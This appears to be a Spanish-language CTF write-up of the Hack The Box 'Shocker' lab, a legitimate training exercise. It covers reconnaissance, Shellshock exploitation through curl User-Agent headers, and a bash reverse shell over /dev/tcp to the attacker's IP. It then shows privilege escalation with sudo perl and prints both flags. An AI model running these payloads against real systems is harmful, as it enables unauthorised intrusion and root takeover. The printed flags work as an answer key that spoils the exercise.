Shocker [EASY🟢]
Dificultad: Fácil
1- Reconocimiento y escaneo
1.1 Ping
1.1 Ping
ping -c 1 10.10.10.56
❯ ping -c 1 10.10.10.56
PING 10.10.10.56 (10.10.10.56) 56(84) bytes of data.
64 bytes from 10.10.10.56: icmp_seq=1 ttl=63 time=174 ms
--- 10.10.10.56 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 174.176/174.176/174.176/0.000 ms
Podemos notar que se trata de una maquina Linux, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
1.2 Nmap
nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.10.56 -oN escaneo.txt
❯ nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.10.56 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-10 00:05 -03
Nmap scan report for 10.10.10.56
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.67 seconds
El puerto 80(Apache 2.4.18) correspondiente a un servidor web y el puerto 2222(OpenSSH 7.2p2) correspondiente a un servidor SSH para control remoto mediante linea de comandos
1.3 whatweb
1.3 whatweb
❯ whatweb 10.10.10.56
http://10.10.10.56 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.56]

1.4 Fuzzing
1.4 Fuzzing
wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/
❯ wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.56/FUZZ/
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 9 L 13 W 137 Ch "# directory-list-2.3-medium.txt"
000000003: 200 9 L 13 W 137 Ch "# Copyright 2007 James Fisher"
000000011: 200 9 L 13 W 137 Ch "# Priority ordered case sensative list, where entries were found"
000000013: 200 9 L 13 W 137 Ch "#"
000000083: 403 11 L 32 W 292 Ch "icons"
000000014: 200 9 L 13 W 137 Ch "http://10.10.10.56//"
000000035: 403 11 L 32 W 294 Ch "cgi-bin"
000000007: 200 9 L 13 W 137 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000002: 200 9 L 13 W 137 Ch "#"
000000004: 200 9 L 13 W 137 Ch "#"
000000005: 200 9 L 13 W 137 Ch "# This work is licensed under the Creative Commons"
000000008: 200 9 L 13 W 137 Ch "# or send a letter to Creative Commons, 171 Second Street,"
000000010: 200 9 L 13 W 137 Ch "#"
000000006: 200 9 L 13 W 137 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this"
000000009: 200 9 L 13 W 137 Ch "# Suite 300, San Francisco, California, 94105, USA."
000000012: 200 9 L 13 W 137 Ch "# on atleast 2 different hosts"
000045240: 200 9 L 13 W 137 Ch "http://10.10.10.56//"
000095524: 403 11 L 32 W 300 Ch "server-status"
Total time: 273.9586
Processed Requests: 220560
Filtered Requests: 220542
Requests/sec.: 805.0848
Vemos que el directorio "cgi-bin" nos reporta un 403, correspondiente a un Forbidden:

(Recordar poner una barra al final de la URL, ya que si no, el recurso no es reconocido por el servidor web)
1.4.1 Fuzzing al directorio "cgi-bin"
1.4.1 Fuzzing al directorio "cgi-bin"
wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
Este comando realiza un fuzzing de directorios, concretamente al directorio existente "cgi-bin" dentro del servidor web y filtra por archivos de extensión .SH, .PL, .CGI mediante una lista con el parametro "-z"
❯ wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
Total requests: 661680
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 403 11 L 32 W 294 Ch "# directory-list-2.3-medium.txt - sh"
000000012: 403 11 L 32 W 294 Ch "# - cgi"
000000010: 403 11 L 32 W 294 Ch "# - sh"
000000036: 403 11 L 32 W 294 Ch "# on atleast 2 different hosts - cgi"
000000021: 403 11 L 32 W 294 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/ - cgi"
000000022: 403 11 L 32 W 294 Ch "# or send a letter to Creative Commons, 171 Second Street, - sh"
000000006: 403 11 L 32 W 294 Ch "# - cgi"
000000011: 403 11 L 32 W 294 Ch "# - pl"
000000015: 403 11 L 32 W 294 Ch "# This work is licensed under the Creative Commons - cgi"
000000014: 403 11 L 32 W 294 Ch "# This work is licensed under the Creative Commons - pl"
000000016: 403 11 L 32 W 294 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this - sh"
000000017: 403 11 L 32 W 294 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this - pl"
000000018: 403 11 L 32 W 294 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this - cgi"
000000020: 403 11 L 32 W 294 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/ - pl"
000000019: 403 11 L 32 W 294 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/ - sh"
000000025: 403 11 L 32 W 294 Ch "# Suite 300, San Francisco, California, 94105, USA. - sh"
000000013: 403 11 L 32 W 294 Ch "# This work is licensed under the Creative Commons - sh"
000000023: 403 11 L 32 W 294 Ch "# or send a letter to Creative Commons, 171 Second Street, - pl"
000000004: 403 11 L 32 W 294 Ch "# - sh"
000000009: 403 11 L 32 W 294 Ch "# Copyright 2007 James Fisher - cgi"
000000002: 403 11 L 32 W 294 Ch "# directory-list-2.3-medium.txt - pl"
000000003: 403 11 L 32 W 294 Ch "# directory-list-2.3-medium.txt - cgi"
000000005: 403 11 L 32 W 294 Ch "# - pl"
000000008: 403 11 L 32 W 294 Ch "# Copyright 2007 James Fisher - pl"
000000026: 403 11 L 32 W 294 Ch "# Suite 300, San Francisco, California, 94105, USA. - pl"
000000034: 403 11 L 32 W 294 Ch "# on atleast 2 different hosts - sh"
000000029: 403 11 L 32 W 294 Ch "# - pl"
000000027: 403 11 L 32 W 294 Ch "# Suite 300, San Francisco, California, 94105, USA. - cgi"
000000035: 403 11 L 32 W 294 Ch "# on atleast 2 different hosts - pl"
000000030: 403 11 L 32 W 294 Ch "# - cgi"
000000037: 403 11 L 32 W 294 Ch "# - sh"
000000031: 403 11 L 32 W 294 Ch "# Priority ordered case sensative list, where entries were found - sh"
000000038: 403 11 L 32 W 294 Ch "# - pl"
000000039: 403 11 L 32 W 294 Ch "# - cgi"
000000028: 403 11 L 32 W 294 Ch "# - sh"
000000032: 403 11 L 32 W 294 Ch "# Priority ordered case sensative list, where entries were found - pl"
000000033: 403 11 L 32 W 294 Ch "# Priority ordered case sensative list, where entries were found - cgi"
000000007: 403 11 L 32 W 294 Ch "# Copyright 2007 James Fisher - sh"
000000024: 403 11 L 32 W 294 Ch "# or send a letter to Creative Commons, 171 Second Street, - cgi"
000000373: 200 7 L 18 W 119 Ch "user - sh"
Nos encontró un script en bash llamado "user.sh"
dentro del directorio "cgi-bin"
2- Explotación
2.1 Ataque Shellshock
2.1 Ataque Shellshock
Siempre que veamos archivos ".CGI" o el directorio "cgi-bin", es recomendable probar un ataque de shellshock, la vulnerabilidad Shellshock consiste en utilizar la misma linea de comandos Bash, dentro del servidor web con archivos ".SH", que si recordamos, encontramos un archivo "user.sh" en la fase de reconocimiento y escaneo, concretamente en el fuzzing al servidor web
Vamos a realizar un escaneo de la vulnerabilidad shellshock con Nmap utilizando un script, sobre el recurso "user.sh" del directorio "cgi-bin"
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p 80 10.10.10.56
❯ nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p 80 10.10.10.56
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-10 00:43 -03
Nmap scan report for 10.10.10.56
Host is up (0.17s latency).
PORT STATE SERVICE
80/tcp open http
| http-shellshock:
| VULNERABLE:
| HTTP Shellshock vulnerability
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2014-6271
| This web application might be affected by the vulnerability known
| as Shellshock. It seems the server is executing commands injected
| via malicious HTTP headers.
|
| Disclosure date: 2014-09-24
| References:
| http://seclists.org/oss-sec/2014/q3/685
| http://www.openwall.com/lists/oss-security/2014/09/24/10
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
Nmap done: 1 IP address (1 host up) scanned in 1.63 seconds
Estamos ante una vulnerabilidad Shellshock como podemos ver
Para proceder con la vulnerabilidad shellshock, vamos a necesitar inyectar comandos en algun campo de la solicitud al servidor web de la maquina objetivo para obtener una reverse shell mediante netcat
Podríamos realizar este ataque mediante la herramienta "curl" o con Burp Suite, en mi caso la hare con curl
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; /usr/bin/whoami"
Podemos ver que estamos tramitando una solicitud get al recurso "user.sh" del directorio "cgi-bin" modificando el campo "User-Agent" de la solicitud inyectándole comandos a nivel de sistema dentro de la maquina, con la carga util de "/usr/bin/whoami"
, vamos a probar si nos devuelve la salida del comando "whoami":
❯ curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; /usr/bin/whoami"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator at
webmaster@localhost to inform them of the time this error occurred,
and the actions you performed just before this error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 10.10.10.56 Port 80</address>
</body></html>
Nos da como resultado un 500 Internal Server Error, por lo que a veces a la hora de realizar este ataque a veces es necesario agregar un "echo" y hasta a veces 2 "echo" en el payload del comando:
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; };echo; /usr/bin/whoami"
❯ curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; };echo; /usr/bin/whoami"
shelly
Vemos que ahora nos devolvió el comando "whoami" a nivel de sistema dentro de la maquina objetivo mediante una solicitud GET modificando los campos de la solicitud inyectando comandos en el campo "User-Agent", ya que es vulnerable a Shellshock
2.2 Obtención de reverse shell mediante ataque shellshock
2.2 Obtención de reverse shell mediante ataque shellshock
Ahora sabiendo que tenemos ejecución remota de comandos, podemos mandarnos una reverse shell mediante netcat por la solicitud GET con "curl"
Vamos a ponernos en escucha con netcat por el puerto 443:
❯ nc -nlvp 443
listening on [any] 443 ...
Y vamos a ejecutar el siguiente comando para tramitar la solicitud GET con el payload correspondiente para obtener la reverse shell:
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; };echo; /bin/bash -i >& /dev/tcp/10.10.14.12/443 0>&1"
Esta solicitud GET es para obtener la reverse shell en netcat por el puerto 443
(Recordar poner la IP de la VPN de Hack The Box de la interfaz "tun0")
❯ curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; };echo; /bin/bash -i >& /dev/tcp/10.10.14.12/443 0>&1"
Una vez ejecutado se quedaria cargando, pero si volvemos a la consola donde teniamos netcat en escucha por el puerto 443:
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.56] 48378
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$
2.3 Tratamiento de la TTY
2.3 Tratamiento de la TTY
Vamos a realizar el tratamiento de la TTY para obtener una shell como dios manda :)
"script /dev/null -c bash"
:
shelly@Shocker:/usr/lib/cgi-bin$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
shelly@Shocker:/usr/lib/cgi-bin$
CTRL + Z:
shelly@Shocker:/usr/lib/cgi-bin$ ^Z
zsh: suspended nc -nlvp 443
Y vamos a ejecutar el siguiente comando:
stty raw -echo; fg
Ejecutamos:
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
Y ahora ejecutamos:
reset xterm
Ejecutamos y nos va a devolver a la reverse shell que obtuvimos:
shelly@Shocker:/usr/lib/cgi-bin$
Ahora vamos a exportar XTERM como TERM y BASH como consola, como variables de entorno:
shelly@Shocker:/usr/lib/cgi-bin$ export SHELL=bash
shelly@Shocker:/usr/lib/cgi-bin$ export TERM=xterm
shelly@Shocker:/usr/lib/cgi-bin$
Para verificar que el tratamiento de la TTY se realizo correctamente, pondremos "echo $SHELL"
o "echo $TERM"
:
shelly@Shocker:/usr/lib/cgi-bin$ echo $SHELL
bash
shelly@Shocker:/usr/lib/cgi-bin$ echo $TERM
xterm
shelly@Shocker:/usr/lib/cgi-bin$
El tratamiento de la TTY corresponde hacerlo cuando debemos hacer muchas cosas con una reverse shell y necesitamos realizar algunas tareas como utilizar un editor de texto en consola, entre otras
2.4 Obtención de la flag user
2.4 Obtención de la flag user
La flag de user se encuentra dentro de la ruta absoluta "/home/shelly/user.txt"
, vamos a visualizar la flag:
shelly@Shocker:/usr/lib/cgi-bin$ cat /home/shelly/user.txt
f4c29d3cc6491cfe2c5d6b60210329c4
shelly@Shocker:/usr/lib/cgi-bin$
3- Escalado de privilegios
3.1 sudo -l
3.1 sudo -l
Para verificar los permisos que tenemos con el usuario "shelly" que obtuvimos en la reverse shell, vamos a ejecutar "sudo -l":
shelly@Shocker:/home/shelly$ sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
shelly@Shocker:/home/shelly$
Podemos ejecutar Perl, como usuarios root con sudo, por lo que la escalada de privilegios es fácil, unicamente tenemos que ejecutar una bash con Perl con el comando inicial sudo para indicarle que queremos ejecutar la bash como root
sudo perl -e 'exec "/bin/sh";'
shelly@Shocker:/home/shelly$ sudo perl -e 'exec "/bin/sh";'
# bash
root@Shocker:/home/shelly# whoami
root
root@Shocker:/home/shelly#
3.2 Obtención de la flag root
3.2 Obtención de la flag root
La flag de root, se encuentra dentro del directorio "
/root/root.txt"
:
root@Shocker:/home/shelly# cat /root/root.txt
dbebc7436e4bb6f12b04777ae8dfd313
root@Shocker:/home/shelly#
Con esto, concluimos la maquina "Shocker" de Hack The Box
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales
Última actualización